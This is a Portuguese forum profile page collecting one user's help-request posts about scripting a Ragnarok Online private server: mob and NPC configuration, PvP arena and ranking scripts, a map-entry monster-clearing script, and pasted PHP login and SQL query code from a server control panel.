Jump to content

Kleber Henrique

Members
  • Content Count

    141
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by Kleber Henrique

  1. Duplicate quer dizer que um NPC tem o mesmo nome, basta troca esse nome e o debug some display name 'Invocador MVP' unique name 'Invocador MVP' coloca um assim display name 'Invocador MVP' e o outro unique name 'Invocador MvP'
  2. Criei um MOB cunstom aqui porem ele não está sendo reconhecido como MVP na hora do DROPS já configurei os arquivos da DB para ele ser do tipo CHEFE porem o drop da carta dele ta igual de um mob Normal o que eu preciso configurar para ele se torna um MVP? linha mob_db2: 2249,kingporing,Rei poring,Rei poring,99,5000000,0,3000000,2900000,3,11500,15000,40,50,115,170,30,200,230,50,10,12,2,2,86,0x37B5,130,212,384,360,1577160,10000,0,0,617,2000,616,2000,20028,1000,20012,1200,607,10000,0,0,0,0,0,0,0,0,0,0,0,0,20031,1 Arquivo: mob_classchange.txt 2249,Rei Poring,1000000 arquivo: mob_boss.txt 2249,Rei Poring,1000000 Falto alguma coisa? Outra dúvida como eu coloco para ele começar a falar umas coisas tem o arquivo: mob_chat_db 27,0xFF0000,Porings ATACAR....28,0xFF0000,Vocês humanos estão tentando invadir meu reino, vou matar todos vocês... Já configurei as falas mais como coloco nesse meu mob?
  3. Conssegui coloquei sleep 2 e TAB e agora ele espera 1,5 segundo para matar o mob fico perfeito //=====================- script killmonster -1,{OnPCLoadMapEvent:if(strcharinfo(3) == "guild_vs3"){ sleep2 1500;atcommand "@killmonster2";end;OnInit:setmapflag "guild_vs3",mf_loadevent; end;}}
  4. O que eu me referia ao anuncio é que antes do sleep eu entrava pvp e aparecia em cima de mim todos monstros forao mortos mais depois do sleep nao ta mais aparecendo nao quero uma menssagem global quero apenas que quando o player entra no mapa o script espere 2 segundos e de o comando @killmonster2
  5. - script killmonster -1,{OnPCLoadMapEvent:if(strcharinfo(3) == "guild_vs3"){sleep 1000;atcommand "@killmonster2";end;OnInit:setmapflag "guild_vs3",mf_loadevent; end;}} Agora não surge a menssagem todos monstro forão destruidos
  6. não conssegui fiz assim: switch(select("- Arena PvP [Rank]","- Sair")) { case 1: percentheal 100,100; warp $pvp$,0,0; end; sleep 1000; killmonsterall "guild_vs3"; olha fizeram esse script que ate da o comando @killmonster porem quando eu entro no mapa demora 1 segundo para o ninja aparecer entao o comando nao pega nele da para poder um delay de 1 segundo antes dele da o comando @killmonster2 ? - script killmonster -1,{OnPCLoadMapEvent:if(strcharinfo(3) == "guild_vs3"){atcommand "@killmonster2";end;OnInit:setmapflag "guild_vs3",mf_loadevent; end;}}
  7. Assim??? switch(select("- Arena PvP [Rank]","- Sair")) { case 1: percentheal 100,100; warp $pvp$,0,0; end; killmonsterall "guild_vs3"; #edit infelizmente conssigo criar os ninjas em prontera e entrar no pvp o pvp não ta fazendo killmonsterall Não tem como fazer algo assim: atcommand "@killmonster2" "guild_vs3"; Depois que ele entrar no pvp? coloquei para da killmonster2 quando ele clica para entrar mais assim o player pode fica matando os monstro de prontera se tiver outros ninjas ajudando outras pessoas ai quebra.
  8. Aquele eh para me ajudar a bloquear o @summon no pvp para ninguem usar meu item cunstom la dentro já esse tópico eh para aprender como bloquear items e certos mapas. Conssegui amigo obrigado
  9. é um item custom dele pelo jeito, logo este arquivo não irá ajudar xD @topic cara vc pode postar aqui o script do item? assim é só colocar uma checagem de mapa no início e td fica normal =) é um item cunstom que usa o comando @summon 20027,pergaminho_ajudante_escravo,pergaminho ajudante escravo,2,10000,,10,,,,,0xFFFFFFFF,7,2,,,,,,{ atcommand "@summon 2238 3"; atcommand "@summon 2238 3"; atcommand "@summon 2238 3"; dispbottom "Voce acaba de invocar 3 Ninjas para te ajudar."; },{},{} Não quero que o player use esse item no pvp e se ele usar fora do pvp e tentar entrar pvp os monstro somem entendeu.. o script do meu PvP eh esse: Obs depois dos mapflag bem la em baixo tem o script de ranking junto mais a checagem deve ir no pvp para não ter nehum tipo de @summon la //===== eAthena Script =========================================//=========== e ================================================//===== Cronus Script ==========================================//| |//| ___ ___ ___ ___ |//| /__ /__ / /__ |//| /:/ _/_ /:/__/_ /:: /:| _|_ |//| /::-"__ /::/__ /:::__ /::|/__ |//| ;:;-",-" /::/ / /::/ / /|::/ / |//| |:| | /:/ / /:/ / |:/ / |//| |__| /__/ /__/ /__/ |//| |//| |e|A|T|H|E|N|A| |S|C|R|I|P|T|S| |//| |C|r|o|n|u|S| |S|C|R|I|P|T|S| |//===== Por: ==================================================//= Wukong - v1.0//= Khan - v3.0//= NightmareA - v4.0//= NightmareA - v5.0//= pedroamoury - v6.0//= Easy Crazy - v7.0//===== Versão Atual: =========================================//= 7.0//===== Changelog: ============================================//= 1.0 - Script Inicializado [Wukong]//= 1.1 - Corrigido pequenos BUGs [Golen Maker]//= 1.1 - Adicionado a opção de escolha do bloqueio de algums// items ao entrar no PvP e na GvG [Wukong]//= 2.0 - Corrigido pequenos bugs [Wukong]//= 3.0 - Optimização do NPC [Khan]//= 3.0a- Corrigido comandos ( show/ show ) [Khan]//= 4.0 - Adicionado Arenas Sem Ygg [NightmareA]//= 4.1 - Optimizado Warps de Saida ( adicionado nas arenas sem ygg ) [NightmareA]//= 4.2 - Adicionado Arenas [NightmareA]//= 4.3 - Adicionado sistema de saida por timer [NightmareA]//= 4.4 - Adicionado Contagem de Ranking por arena e total [NightmareA]//= 5.0 - Fix Bugs [NightmareA]//= 6.1 - Retirado Arenas PvP e GvG sem Yggs//= 6.2 - Retirado Restrições de Itens//= 6.3 - Adicionado Arena Baby//= 6.4 - Adicionado Arena PvP No-Rank (Sem Contagem de Rank)//= 6.5 - Adicionado Arena GvG No-Rank (Sem Contagem de Rank)//= 6.6 - Adicionado Horario para Abrir GvG Rank (10:00 as 22:00)//= 6.7 - Adicionado Horarios para Abrir PvP Rank (10:00 as 22:00)//= 6.8 - Corrigido opção Sair.//= 6.9 - Adicionado Arena Playes vs Playes 1x1.//= 7.0 - Sala de Eventos.//===== Compatível Com: =======================================//= Qualquer eAthena (SVN)//= Qualquer Cronus (SVN)//===== Descrição: ============================================//= Arena da Morte. Com arena de PvP/GvG com Rank Abertas as 10:00 e Feichadas as 22:00 da noite.//= Arenas PvP, GvG , Baby No-Rank Abertas 24h//= Playes vs Playes 1x1//= Sala de Eventos onde acontece eventos//===== Comentários Adicionais ================================//= wBRO www.wotanbro.com//= PartyRO www.partyro.org//= eAthena Emulator www.eathena.ws//============================================================= //===== Arena da Morte ========================================prontera,146,187,5 script Arena PvP 734,{//===== Nome do npc. ==========================================set @nome$,"[^FF0000Arena da PvP^000000]"; //===== Arena PvP =============================================set $pvp$[0],"guild_vs3";//Arena 1set $pvpn$[0],"guild_vs2";//Arena 1//===== Arena GvG =============================================set $gvg$[0],"guild_vs2-1";// Arena 1set $gvgn$[0],"guild_vs2-2";// Arena 1set $baby$[0],"guild_vs1-3";// Baby 1// ====== Sala de 1x1 =============================================set $playe$[0],"guild_vs1-4";// 1x1 1// ====== Sala de Eventos ===========================================set $evento$[0],"2@cata";// Eventos//===== Arena Baby ============================================= show @nome$; show "Olá "+strcharinfo(0)+"."; show "Escolha qual destino deseja ir"; next; switch(SELECT("- Playes vs Playes [Rank] [^0000FF"+getmapusers($pvp$[$pvp])+"^000000]","- Guild vs Guild [Rank] [^0000FF"+getmapusers($gvg$[$gvg])+"^000000]","- Playes vs Playes [No-Rank] [^0000FF"+getmapusers($pvpn$[$pvpn])+"^000000]","- Guild vs Guild [No-Rank] [^0000FF"+getmapusers($gvgn$[$gvgn])+"^000000]","- Baby vs Baby [No-Rank] [^0000FF"+getmapusers($baby$[$baby])+"^000000]","- Playes 1x1 [No-Rank] [^0000FF"+getmapusers($playe$[$playe])+"^000000]","- Sair")) { case 1: if($scg == FALSE){ show .n$; show "Desculpe ^0000CD"+StrCharInfo(0)+"^000000."; show "O PvP Rank está Fechado no Momento."; close; } switch(select("- Arena PvP [Rank]","- Sair")) { case 1: percentheal 100,100; warp $pvp$,0,0; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 2: if($scg == FALSE){ show .n$; show "Desculpe ^0000CD"+StrCharInfo(0)+"^000000."; show "O GvG Rank está Fechado no Momento."; close; } switch(select("- Arena GvG [Rank]","- Sair")) { case 1: percentheal 100,100; if(!getcharid(2)) {show "Eu não posso ajudá-lo, você não possui uma Clã."; close;} warp $gvg$,0,0; end; case 2: show @nome$; show "Volte sempre que quiser."; close; } close; OnClock1000: callsub OnOpenRoom; OnClock2200: callsub OnClosRoom; OnOpenRoom: set $scg,1; announce "Sala PvP e GvG com Rank estão Abertas! Seja um dos primeiros do Rank !",bc_yellow; end; OnClosRoom: set $scg,0; announce "Sala PvP e GvG com Rank estão Fechadas!",bc_yellow|bc_all; set $sct, $sct + 1; mapwarp "guild_vs3","prontera",150,150; mapwarp "guild_vs2-1","prontera",150,150; end; case 3: switch(select("- Arena PvP (No-Rank)","- Sair")) { case 1: percentheal 100,100; warp $pvpn$,0,0; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 4: switch(select("- Arena GvG (No-Rank)","- Sair")) { case 1: percentheal 100,100; if(!getcharid(2)) {show "Você precisa estar em uma guild para poder entrar"; close;} warp $gvgn$,0,0; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 5: switch(select("- PvP Baby","- Sair")) { case 1: show @nome$; percentheal 100,100; if (Class > 4001 && Class < 4022){ show @npc$; show "PvP apenas para Baby, você não é baby!"; close; } warp $baby$,0,0; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 6: switch(select("- Playes 1x1 (No-Rank)","- Sair")) { case 1: percentheal 100,100; if (getmapusers("guild_vs1-4") > 1) {show "Limite de 2 pessoas atingidos."; close;} warp $playe$,0,0; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 7: switch(select("- Sala de Eventos","- Sair")) { case 1: percentheal 100,100; warp $evento$,00,00; end; case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; } close; case 8: mes @nome$; mes "Volte quando precisar dos meus serviços."; close; } end;} // -- Inicio do Script - script Arena#PCKill -1,{ OnPCKillEvent: getmapxy @map$,@x,@y,0; if ( @map$ == $pvp$[$pvp] ) goto PvP; if ( @map$ == $pvp$[$pvpx] ) goto PvP; if ( @map$ == $pvp$[$pvpw] ) goto PvP; if ( @map$ == $pvp$[$pvpy] ) goto PvP2;//Sem ygg if ( @map$ == $gvg$[$gvg] ) goto GvG; if ( @map$ == $gvg$[$gvgx] ) goto GvG; if ( @map$ == $gvg$[$gvgw] ) goto GvG; if ( @map$ == $gvg$[$gvgy] ) goto GvG2;//Sem ygg if ( @map$ == $pvp$[$playes] ) goto playes; end; // ======= Arenas PvP =======PvP: set @CID,getcharid(0);set @name$,"";set @points,0; query_sql "SELECT `kills` FROM `pvp` WHERE `char_id`="+@CID+"",@points; query_sql "SELECT `name` FROM `pvp` WHERE `char_id`="+@CID+"",@name$; if ( @name$ == "" ) { query_sql "INSERT INTO `pvp` (`char_id`,`name`,`kills`) VALUES ("+@CID+",'"+strcharinfo(0)+"',1)",@esc$; dispbottom "Você Matou seu primeiro jogador"; end; } query_sql "UPDATE `pvp` SET `kills` = `kills` +1 WHERE `char_id`="+@CID+"",@esc$; set @points,@points+1; announce "Você matou [ "+rid2name(killedrid)+" ] e chegou a "+@points+" jogadores mortos.",bc_self,0x90FFFF; end; // ======= Arenas GvG =======GvG: set @GID,getcharid(2);set @name$,"";set @points,0; query_sql "SELECT `kills` FROM `gvg` WHERE `guild_id`="+@GID+"",@gpoints; query_sql "SELECT `name` FROM `gvg` WHERE `guild_id`="+@GID+"",@name$; if ( @name$ == "" ) { query_sql "INSERT INTO `gvg` (`guild_id`,`name`,`kills`) VALUES ("+@GID+",'"+strcharinfo(2)+"',1)",@esc$; dispbottom "Primeiro Frag da Guild"; end; } query_sql "UPDATE `gvg` SET `kills` = `kills` + 1 WHERE `guild_id`="+@GID+"",@esc$; set @gpoints,@gpoints+1; mapannounce @map$,"A Guild [ "+@name$+" ] empilhou "+@gpoints+" caveiras.",bc_self,0x90FFFF; end;}- script Arena#PCDie -1,{ OnPCDieEvent: getmapxy @map$,@x,@y,0; if ( @map$ == $pvp$[$pvp] ) goto PvP; if ( @map$ == $pvp$[$pvpx] ) goto PvP; if ( @map$ == $pvp$[$pvpw] ) goto PvP; if ( @map$ == $pvp$[$pvpy] ) goto PvP2; if ( @map$ == $gvg$[$gvg] ) goto GvG; if ( @map$ == $gvg$[$gvgx] ) goto GvG; if ( @map$ == $gvg$[$gvgw] ) goto GvG; if ( @map$ == $gvg$[$gvgy] ) goto GvG2;// ======= Arenas GvG ======= PvP: set @CID,getcharid(0);set @name$,"";set @points,0; query_sql "SELECT `deaths` FROM `pvp` WHERE `char_id`="+@CID+"",@points; query_sql "SELECT `name` FROM `pvp` WHERE `char_id`="+@CID+"",@name$; if ( @name$ == "" ) { query_sql "INSERT INTO `pvp` (`char_id`,`name`,`deaths`) VALUES ("+@CID+",'"+strcharinfo(0)+"',1)",@esc$; end; } query_sql "UPDATE `pvp1` SET `deaths` = `deaths` + 1 WHERE `char_id`="+@CID+"",@esc$; end; // ======= Arenas GvG ======= GvG: set @GID,getcharid(2);set @name$,"";set @gpoints,0; query_sql "SELECT `deaths` FROM `gvg1` WHERE `guild_id`="+@GID+"",@gpoints; query_sql "SELECT `name` FROM `gvg1` WHERE `guild_id`="+@GID+"",@name$; if ( @name$ == "" ) { query_sql "INSERT INTO`gvg1` (`guild_id`,`name`,`deaths`) VALUES ("+@GID+",'"+strcharinfo(2)+"',1)",@esc$; end; } query_sql "UPDATE `gvg1` SET `deaths` = `deaths` + 1 WHERE `guild_id`="+@GID+"",@esc$; end; } //============== MAP FLAG ===============// PvPguild_vs3 mapflag nosaveguild_vs3 mapflag noteleportguild_vs3 mapflag nowarptoguild_vs3 mapflag nowarpguild_vs3 mapflag nomemoguild_vs3 mapflag gvg offguild_vs3 mapflag pvpguild_vs3 mapflag nopenaltyguild_vs3 mapflag nobranchguild_vs3 mapflag pvp_noguildguild_vs3 mapflag nolootguild_vs3 mapflag noexp // PvP No-Rankguild_vs2 mapflag nosaveguild_vs2 mapflag noteleportguild_vs2 mapflag nowarptoguild_vs2 mapflag nowarpguild_vs2 mapflag nomemoguild_vs2 mapflag gvg offguild_vs2 mapflag pvpguild_vs2 mapflag nopenaltyguild_vs2 mapflag nobranchguild_vs2 mapflag pvp_noguildguild_vs2 mapflag nolootguild_vs2 mapflag noexp // GvGguild_vs2-1 mapflag nosaveguild_vs2-1 mapflag noteleportguild_vs2-1 mapflag nowarptoguild_vs2-1 mapflag nowarpguild_vs2-1 mapflag nomemoguild_vs2-1 mapflag pvp offguild_vs2-1 mapflag gvgguild_vs2-1 mapflag nopenaltyguild_vs2-1 mapflag nobranchguild_vs2-1 mapflag nolootguild_vs2-1 mapflag noexp // GvG No-Rankguild_vs2-2 mapflag nosaveguild_vs2-2 mapflag noteleportguild_vs2-2 mapflag nowarptoguild_vs2-2 mapflag nowarpguild_vs2-2 mapflag nomemoguild_vs2-2 mapflag pvp offguild_vs2-2 mapflag gvgguild_vs2-2 mapflag nopenaltyguild_vs2-2 mapflag nobranchguild_vs2-2 mapflag nolootguild_vs2-2 mapflag noexp // Babyguild_vs1-3 mapflag nosaveguild_vs1-3 mapflag noteleportguild_vs1-3 mapflag nowarptoguild_vs1-3 mapflag nowarpguild_vs1-3 mapflag nomemoguild_vs1-3 mapflag gvg offguild_vs1-3 mapflag pvpguild_vs1-3 mapflag nopenaltyguild_vs1-3 mapflag nobranchguild_vs1-3 mapflag pvp_noguildguild_vs1-3 mapflag nolootguild_vs1-3 mapflag noexp // Playes 1x1guild_vs1-4 mapflag nosaveguild_vs1-4 mapflag noteleportguild_vs1-4 mapflag nowarptoguild_vs1-4 mapflag nowarpguild_vs1-4 mapflag nomemoguild_vs1-4 mapflag gvg offguild_vs1-4 mapflag pvpguild_vs1-4 mapflag nopenaltyguild_vs1-4 mapflag nobranchguild_vs1-4 mapflag pvp_noguildguild_vs1-4 mapflag nolootguild_vs1-4 mapflag noexp//===== eAthena Script =========================================//=========== e ================================================//===== Cronus Script ==========================================//| |//| ___ ___ ___ ___ |//| /__ /__ / /__ |//| /:/ _/_ /:/__/_ /:: /:| _|_ |//| /::-"__ /::/__ /:::__ /::|/__ |//| ;:;-",-" /::/ / /::/ / /|::/ / |//| |:| | /:/ / /:/ / |:/ / |//| |__| /__/ /__/ /__/ |//| |//| |e|A|T|H|E|N|A| |S|C|R|I|P|T|S| |//| |C|r|o|n|u|S| |S|C|R|I|P|T|S| |//===== Por: ==================================================//= Khan - NighrmareA - pedroamoury - Easy Crazy [ atual release ]//===== Versão Atual: =========================================//= 1.5//===== Changelog: ============================================//= 1.0 - Script Inicializado [Khan]//= 1.1 - Corrigido pequenos bugs [Khan]//= 1.2 - Adicionado Ranking exclusivo para arena sem Ygg [NightmareA]//= 1.3 - Retirado Rank para Arenas com Ygg [pedroamoury]//= 1.4 - Corrigido Variaveis [pedroamoury]//= 1.5 - Modificações no Script [Easy Crazy]//===== Compativel Com: =======================================//= Qualquer eAthena SQL//===== Descrição: ============================================//= Ranking PvP e GvG - TOP 10//===== Comentários Adicionais ================================//= eAthena Emulator www.eathena.ws//============================================================= //==== Ranking ================================================prontera,143,189,4 script Ranking PvP 837,{ //==== Nome do NPC ============================================set @nome$,"[ ^FF0000Ranking PvP^000000 ]";//============================================================= show @nome$; show "Olá "+strcharinfo(0)+"."; next; show @nome$; show "Gostaria de ver o Ranking?"; next; switch(select("- Sim","- Não")) { case 1: show @nome$; show "Qual Ranking você gostaria de ver?"; next; switch(select("- ^FFA500Ranking de PvP [TOP 10]^000000","- ^008B8BRanking de GvG [TOP 10]^000000","Sair")) { case 1: show @nome$; show "Ok, este o nosso Ranking de PvP [TOP 10]"; next; query_sql "SELECT name, kills, deaths FROM pvp ORDER BY kills DESC LIMIT 10",@name$,@kills,@deaths; dispbottom "Ranking PvP [TOP 10]"; dispbottom " "; dispbottom "Posição <~> Nome <~> Matou <~> Morreu"; dispbottom " "; for(set @i,0;@i<=9;set @i,@i+1) { dispbottom "["+(@i+1)+"] <~> "+@name$[@i]+" <~> "+@kills[@i]+" <~> "+@deaths[@i]+""; } close; case 2: show @nome$; show "Ok, este 0 nosso Ranking de GvG [TOP 10]"; next; query_sql "SELECT name, kills, deaths FROM gvg ORDER BY kills DESC LIMIT 10",@guild_name$,@guild_kills,@guild_deaths; dispbottom "Ranking GvG [TOP 10]"; dispbottom " "; dispbottom "Posição <~> Nome da Guild <~> Vitórias <~> Derrotas"; dispbottom " "; for(set @i,0;@i<=9;set @i,@i+1) { dispbottom "["+(@i+1)+"] <~> "+@guild_name$[@i]+" <~> "+@guild_kills[@i]+" <~> "+@guild_deaths[@i]+""; } close; case 3: show @nome$; show "Volte quando quizer"; close; } case 2: show @nome$; show "Volte quando precisar dos meus serviços."; close; }} Eu so preciso de um script agora que de @killmonster 2 direto ou que de @killmonster se tiver monstro do ID 20027 dentro do mapa
  10. descreva como O host me oriento da seguinte forma: onde tiver group_id e muda pra level ou vise versa.
  11. Sei qual arquivo fica mais não entendi como adicionar skill X no meu MvP Queria também que ele invocasse 6 MOB para ajudar ele como faço?
  12. Estou tentando não deixar os player usar um item que sumona monstro no pvp então preciso de um script que a cada 1 segundo de o comando @killmonster2 nos seguintes mapas guild_vs3 guild_vs2 guild_vs1
  13. Vou colocar ajustar os link para o download do programa obrigado pelo toque. #Edit Links alterados Mediafire 4Shared Mega
  14. Quero bloquear o uso do item 20027 nos mapas guild_vs1-4 guild_vs1-3 guild_vs2-2 guild_vs2-1 guild_vs2 guild_vs3 para que não possa ser usado como faço isso? Obs meu emulador eh antigo pré renovação que uso o arquivo /emulador/conf/mapflag/restricted.txt só não entendi como usa esse arquivo ainda '-'
  15. Esse eh o arquivo Login session_start();include_once 'config.php'; // loads config variablesinclude_once 'query.php'; // imports queriesinclude_once 'functions.php';include_once 'bruteforce.php';if (!isset($_SESSION[$CONFIG_name.'account_id']) && isset($_COOKIE['login_pass']) && isset($_COOKIE['userid'])) { $bf_check = bf_check_user(trim($_COOKIE['userid'])); if ($bf_check > 0 || inject(trim($_COOKIE['userid']))) { // Based on Rasqual notes I fix it [BeoWulf] setcookie("login_pass", "", time() - 3600); setcookie("userid", "", time() - 3600); } else { $query = sprintf(LOGIN_USER, trim($_COOKIE['userid'])); $result = execute_query($query, 'index.php'); if($result->count() == 1 && $line = $result->fetch_row()) { if (md5($CONFIG_name.$line[3]) == $_COOKIE['login_pass']) { $_SESSION[$CONFIG_name.'account_id'] = $line[0]; $_SESSION[$CONFIG_name.'userid'] = $line[1]; $_SESSION[$CONFIG_name.'level'] = $line[2]; setcookie("login_pass", $_COOKIE['login_pass'], time() + 3600 * 24 * 30); setcookie("userid", $_COOKIE['userid'], time() + 3600 * 24 * 30); } else { setcookie("login_pass", "", time() - 3600); setcookie("userid", "", time() - 3600); bf_error(trim($_COOKIE['userid'])); echo "<script type="text/javascript">LINK_ajax('login.php','login_div');</script>"; alert($lang['COOKIE_REJECTED']); } } else { setcookie("login_pass", "", time() - 3600); setcookie("userid", "", time() - 3600); bf_error(trim($_COOKIE['userid'])); echo "<script type="text/javascript">LINK_ajax('login.php','login_div');</script>"; alert($lang['COOKIE_REJECTED']); } }}if (!empty($POST_opt)) { if ($POST_opt == 1 && isset($POST_frm_name) && !strcmp($POST_frm_name, "login")) { $bf_check = bf_check_user(trim($POST_username)); if ($bf_check > 0) { $msg = sprintf($lang['BLOCKED'], $bf_check); erro_de_login(); alert($msg); } if (empty($POST_username) || empty($POST_login_pass)) { erro_de_login(); alert($lang['INCORRECT_CHARACTER']); } if (inject($POST_username) || inject($POST_login_pass)) { erro_de_login(); bf_error(trim($POST_username)); alert($lang['INCORRECT_CHARACTER']); } $session = $_SESSION[$CONFIG_name.'sessioncode']; if ($CONFIG_auth_image && function_exists("gd_info") && strtoupper($POST_code) != substr(strtoupper(md5("Mytext".$session['login'])), 0, 6)) { erro_de_login(); bf_error(trim($POST_username)); alert($lang['INCORRECT_CODE']); } if (strlen($POST_username) > 23 || strlen($POST_username) < 4) { erro_de_login(); bf_error(trim($POST_username)); alert($lang['USERNAME_LENGTH']); } if (strlen($POST_login_pass) > 23 || strlen($POST_login_pass) < 4) { erro_de_login(); bf_error(trim($POST_username)); alert($lang['PASSWORD_LENGTH_OLD']); } $query = sprintf(LOGIN_USER, trim($POST_username)); $result = execute_query($query, 'index.php'); if($result->count() == 1 && $line = $result->fetch_row()) { if ($CONFIG_md5_pass) $POST_login_pass = md5($POST_login_pass); if ($line[3] == $POST_login_pass) { $_SESSION[$CONFIG_name.'account_id'] = $line[0]; $_SESSION[$CONFIG_name.'userid'] = $line[1]; $_SESSION[$CONFIG_name.'level'] = $line[2]; if ($POST_remember_me) { setcookie("login_pass", md5($CONFIG_name.$line[3]), time() + 3600 * 24 * 30); setcookie("userid", $line[1], time() + 3600 * 24 * 30); } } else { erro_de_login(); bf_error(trim($POST_username)); alert($lang['WRONG_USERNAME_PASSWORD']); } } else { erro_de_login(); bf_error(trim($POST_username)); alert($lang['WRONG_USERNAME_PASSWORD']); } }}if (isset($GET_opt) && $GET_opt == 2) { session_destroy(); setcookie("login_pass", "", time() - 3600); setcookie("userid", "", time() - 3600); session_start(); echo " <script type="text/javascript"> LINK_ajax('motd.php','main_div'); load_menu(); login_hide(1); </script> ";}if (!empty($_SESSION[$CONFIG_name.'account_id'])) { if ($_SESSION[$CONFIG_name.'account_id'] > 0) { $userid = htmlformat($_SESSION[$CONFIG_name.'userid']); opentable($lang['LOGIN_WELCOME']); echo " <script type="text/javascript"> login_hide(0); LINK_ajax('motd.php','main_div'); load_menu(); </script> <tr><td align=center> ".$lang['LOGIN_HELLO'].", $userid.<br><br> <span title="Clique para sair da sua conta." style="cursor:pointer" onMouseOver="this.style.color='#FF3300'" onMouseOut="this.style.color='#000000'" onClick="LINK_ajax('login.php?opt=2','login_div');"><img src="images/logout.png" /></span> </td></tr> "; closetable(); fim(); }}if (isset($_SESSION[$CONFIG_name.'sessioncode'])) $session = $_SESSION[$CONFIG_name.'sessioncode'];$session['login'] = rand(12345, 99999);$_SESSION[$CONFIG_name.'sessioncode'] = $session;$var = rand(10, 9999999);opentable("Login");echo "<form id="login" onSubmit="return POST_ajax('login.php','login_div','login');"><table border="0" cellpadding="3" cellspacing="4"><tr><td align=left>".$lang['USERNAME'].":<br><input type="text" name="username" maxlength="23" size="23" onKeyPress="return force(this.name,this.form.id,event);"></td></tr><tr><td align=left>".$lang['PASSWORD'].":<br><input type="password" name="login_pass" maxlength="23" size="23" onKeyPress="return force(this.name,this.form.id,event);"></td></tr><input type="hidden" name="opt" value="1">";if ($CONFIG_auth_image && function_exists("gd_info")) { echo "<tr><td align=left>".$lang['CODE'].":</td></tr> <tr><td align=left><img src="img.php?img=login&var=$var" alt="".$lang['SECURITY_CODE'].""></td></tr> <tr><td align=left><input type="text" name="code" maxlength="6" size="6" onKeyPress="return force(this.name,this.form.id,event);"> <input type="submit" value="login"></td></tr> <tr><td align=left><input type="checkbox" name="remember_me" value="1" style="border-color:#D0D9E0" onKeyPress="return force(this.name,this.form.id,event);">".$lang['LOGIN_REMEMBER']."</td></tr>";}else {echo "<tr><td align=left><input type="checkbox" name="remember_me" value="1" style="border-color:#D0D9E0" onKeyPress="return force(this.name,this.form.id,event);">".$lang['LOGIN_REMEMBER']."</td></tr><tr><td align=center><input type="submit" value="login"></td></tr>";}echo "</table></form>";closetable();fim();?> Esse o arquivo Query $revision = 117;//functions.php//log queries in querylogDEFINE('ADD_QUERY_ENTRY', "INSERT INTO `cp_querylog` (`Date`, `User`, `IP`, `page`, `Query`) VALUES(NOW(), '%s', '%s', '%s', '%s')");//Server StatusDEFINE('CHECK_STATUS', "SELECT `last_checked`,`status`,TIMESTAMPDIFF(SECOND,`last_checked`,NOW()) FROM `cp_server_status`");DEFINE('UPDATE_STATUS', "UPDATE `cp_server_status` SET last_checked = NOW(), status = '%d'");DEFINE('INSERT_STATUS', "INSERT INTO `cp_server_status` VALUES(NOW(), '0')");DEFINE('ABOUT_RATES', "SELECT exp, jexp, `drop` FROM `ragsrvinfo` WHERE `name` = '%s'");DEFINE('RATES_AGIT', "SELECT exp, jexp, `drop`, agit_status FROM `ragsrvinfo` WHERE `name` = '%s'");DEFINE('CHECK_BAN', "SELECT UNIX_TIMESTAMP(`lastlogin`), `unban_time`, `state` FROM `login` WHERE `last_ip` = '%s'");//Online Status DEFINE('IS_ONLINE', "SELECT COUNT(1) FROM `char` WHERE online = '1' AND account_id = '%d'");DEFINE('GET_ONLINE', "SELECT COUNT(1) FROM `char` WHERE online = '1'");//Check IP BanDEFINE('CHECK_IPBAN', "SELECT COUNT(*) FROM `ipbanlist` WHERE `list` = '%u.*.*.*' OR `list` = '%u.%u.*.*' OR `list` = '%u.%u.%u.*' OR `list` = '%u.%u.%u.%u'");//////////////////////////////////////login.php - User LoginDEFINE('LOGIN_USER', "SELECT `account_id`, `userid`, `group_id`, `user_pass` FROM `login` WHERE userid = '%s' AND state != '5'");//password.php - Change PasswordDEFINE('CHANGE_PASSWORD', "UPDATE `login` SET `user_pass` = '%s' WHERE `account_id` = '%d'");DEFINE('CHECK_PASSWORD', "SELECT * FROM `login` WHERE `user_pass` = '%s' AND `account_id` = '%d'");//changemail.php - Change EmailDEFINE('CHANGE_EMAIL', "UPDATE `login` SET `email` = '%s' WHERE `user_pass` = '%s' AND `account_id` = '%d'");DEFINE('CHECK_EMAIL', "SELECT `email` FROM `login` WHERE `account_id` = '%d'");//position.php - Reset PositionDEFINE('CHAR_GET_CHARS', "SELECT `char_id`, `char_num`, `name`, `class`, `base_level`, `job_level`, `last_map` FROM `char` WHERE `account_id` = '%d' and `online`=0 and `char_id` not in (select `char_id` FROM `sc_data` where type=249 and `account_id` = '%d') ORDER BY `char_num`");DEFINE('GET_SAVE_POSITION', "SELECT `name`, `save_map`, `save_x`, `save_y`, `zeny` FROM `char` WHERE `char_id` = '%d' and `online`=0 and `char_id` not in (select `char_id` FROM `sc_data` where type=249 and `char_id` = '%d')");DEFINE('FINAL_POSITION', "UPDATE `char` SET `last_map` = '%s', `last_x` = '%d', `last_y` = '%d', `zeny` = '%d'WHERE `char_id` = '%d'AND `online` = '0'");//account.php - Account CreationDEFINE('INSERT_CHAR', "INSERT INTO `login` (`userid`, `user_pass`, `sex`, `email`, `birthdate`, `last_ip`) VALUES ('%s', '%s', '%s', '%s', '%s', '%s')");DEFINE('CHECK_USERID', "SELECT `userid` FROM `login` WHERE userid = '%s'");DEFINE('CHECK_ACCOUNTID', "SELECT `account_id` FROM `login` WHERE `userid` = '%s' AND `user_pass` = '%s'");DEFINE('MAX_ACCOUNTS', "SELECT COUNT(`account_id`) FROM `login` WHERE `sex` != 'S'");//recover.php - Recover PasswordDEFINE('RECOVER_PASSWORD', "SELECT `userid`, `user_pass`, `email` FROM `login` WHERE `email` = '%s' AND state != '5'");//money.php - Money TransferDEFINE('GET_ZENY', "SELECT `char_id`, `char_num`, `name`, `zeny`, `base_level` FROM `char` WHERE `account_id` = '%d' ORDER BY `char_num`");DEFINE('SET_ZENY', "UPDATE `char` SET `zeny` = '%d' WHERE `char_id` = '%d' AND `account_id` = '%d'");DEFINE('CHECK_ZENY', "SELECT `zeny` FROM `char` WHERE `char_id` = '%d' AND `account_id` = '%d'");//guild.php - Guild LadderDEFINE('GUILD_LADDER', "SELECT `guild`.`name`, `guild`.`emblem_data`, `guild`.`guild_lv`, `guild`.`exp`, `guild`.`guild_id`,`guild`.`average_lv`, count(`guild_member`.`name`), (count(`guild_member`.`name`) * `guild`.`average_lv`) as 